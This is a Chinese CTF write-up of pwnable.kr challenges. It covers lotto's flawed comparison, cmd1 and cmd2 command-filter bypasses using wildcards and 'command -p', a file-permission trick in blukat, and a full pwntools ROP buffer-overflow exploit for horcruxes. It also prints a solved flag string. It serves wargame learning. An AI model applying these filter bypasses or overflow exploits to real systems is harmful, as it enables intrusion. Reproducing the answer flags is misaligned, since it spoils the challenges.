pwnable.krToddlr’s Bottle題解4

0x12
登錄後看源碼
在這裏插入圖片描述在這裏插入圖片描述

通讀程序,邏輯是這樣子的:
輸入6個字符,與程序由/dev/urandom隨機產生的6個字符對比,通過上圖第二個紅框的檢驗,則match自加1,雙重for循環結束後如果match=6則打印flag
這裏的漏洞在於檢驗的雙重for循環實現時出了問題。
該程序實現的邏輯實際上是對於每個lotto[i]會和輸入的每個字符去比較,如果命中則加1
那麼我們可以考慮輸入的6個字符相同,如果有一個命中,則全部命中。
字符的取值範圍知道是在ascii 1-45之間,又我們能輸入的只有asci中的可見字符,那滿足條件的只有33-45
在這裏插入圖片描述
多試幾次即可。
在這裏插入圖片描述

0x13cmd1
看看源碼
在這裏插入圖片描述
在main中可以看到我們輸入的參數可以通過調用system執行
但是在傳給system執行前,輸入的內容會被filter處理
而filter過濾了tmp,flag,sh這些關鍵字
而且還有一點需要注意的是,我們繞過filter之後,還得注意main中的putenv,它將PATH環境變量設置爲了亂七八糟的東西
PATH決定了shell將到哪些目錄中尋找命令或程序,PATH的值是一系列目錄,當運行一個程序時,Linux在這些目錄下進行搜尋編譯鏈接
修改之後意味着我們要使用命令時需要使用絕對路徑,比如要想讀flag,正常情況下應該是cat flag,但是現在需要/bin/cat flag
綜上,繞過
在這裏插入圖片描述
這裏我們用到了通配符*,使用f*匹配flag文件,從而繞過

0x13cmd2
看源碼
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, “=”)!=0;
r += strstr(cmd, “PATH”)!=0;
r += strstr(cmd, “export”)!=0;
r += strstr(cmd, “/”)!=0;
r += strstr(cmd, “`”)!=0;
r += strstr(cmd, “flag”)!=0;
return r;
}

extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
delete_env();
putenv(“PATH=/no_command_execution_until_you_become_a_hacker”);
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
可以看到比之cmd1,這裏過濾了更多的東西
尤其是
我們當然還可以使用f來指代flag
但是\的過濾怎麼繞過呢
題目給了提示
在這裏插入圖片描述
來看看system函數
在這裏插入圖片描述
可以看到system()實際上是通過execl實現的
查找sh的man
可以看到
在這裏插入圖片描述
使用-p時會可以自動找到path的默認值,而不受程序設置ENV的影響
所以可以考慮使用-p cat,這樣就可以自動繞過/
cmd2@ubuntu:~$ ./cmd2 "command -p cat f
"
command -p cat f*
FuN_w1th_5h3ll_v4riabl3s_haha

0x14blukat
看源碼
在這裏插入圖片描述
從password文件讀內容,與我們輸入的字符相比,通過比較則打印flag
現在的關鍵是知道password的內容是什麼,我們注意到下圖的情況:
在這裏插入圖片描述
從上圖可以看到我們這個用戶所在的組對password是有讀權限的,可是cat的時候卻是:
在這裏插入圖片描述
emmm也就是說password本身的內容就是這個
於是執行二進制文件就得到flag了
在這裏插入圖片描述

0x15horcruxes
在這裏插入圖片描述
沒有源碼,就給了二進制文件,看來得逆向了
執行後需要輸入的地方有兩處
在這裏插入圖片描述
下載到本地
在這裏插入圖片描述
可以看到是32位的
在這裏插入圖片描述
上ida
在這裏插入圖片描述
main函數
在這裏插入圖片描述
ropme
在這裏插入圖片描述
紅色圈起來的就是我們之前試運行時輸入的地方
最下面的else可以看到,當我們的輸入和sum值相等時會打印flag
注意到上面有A,B,C,D,E,F,G函數
打開A函數看看
在這裏插入圖片描述
B的
在這裏插入圖片描述
別的都是一樣的
可以看到會返回a,b等
這些參數的賦值操作在init_ABCDEFG
在這裏插入圖片描述
可以看到是/dev/urandom產生的隨機數配合產生的,而sum的值是綜合計算a,b,c等得到的

這裏的漏洞在於main中的gets(),沒有指定buffer,所以可以嘗試溢出
我們希望直接通過溢出buffer來覆蓋ropme()函數的return地址
在這裏插入圖片描述
由上圖可知buffer起始地址爲ebp-0x74,加上原函數ebp地址的長度4個字節,則buffer起始到ropme()的return一共需要0x74+4=120個字節
那麼我們構造的思路就是依次打印A.B,G函數返回的值,將其相加,得到sum的確定值,然後返回ropme,將結果作爲輸入,即可滿足條件得到flag
要作爲這一點,我們需要知道
1.padding大小,由前可知,120字節
2.然後拼接A函數的起始地址,來跳轉到A執行,然後拼接B的。。。。以此類推
3.最後要跳轉到ropme(),這裏要注意,不能直接憑藉ropme的地址,因爲該地址如下圖所示含有\x0a,會被截斷,所以要通過拼接main中調用ropme()時的地址
在這裏插入圖片描述
接下來的任務就是找地址了
如圖所示一個個找出來並不難,以A爲例
在這裏插入圖片描述
以及main中調用ropme的
在這裏插入圖片描述

綜上所述,寫出exp:
from pwn import *
context.log_level=‘debug’
LOCAL = False

if name == ‘main’:
if LOCAL:
c = process(’/home/horcruxes/horcruxes’)
else:
c = remote(‘0’, 9032)
msg = c.recvuntil(“Menu:”)
c.sendline(‘1’)
msg = c.recv(512)
payload = ‘A’*0x78
payload += p32(0x809fe4b) # address A()
payload += p32(0x809fe6a) # address B()
payload += p32(0x809fe89) # address C()
payload += p32(0x809fea8) # address D()
payload += p32(0x809fec7) # address E()
payload += p32(0x809fee6) # address F()
payload += p32(0x809ff05) # address G()
payload += p32(0x809fffc) # address main
c.sendline(payload)
sum = 0
c.recvline()
for i in range(7):
s = c.recvline()
n = int(s.strip(’\n’).split(’+’)[1][:-1])
sum += n
print “Result: " + str(sum)
c.recvuntil(“Menu:”)
c.sendline(“1”)
c.recvuntil(” : ")
c.sendline(str(sum))
log.success("Flag: " + c.recvline())

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章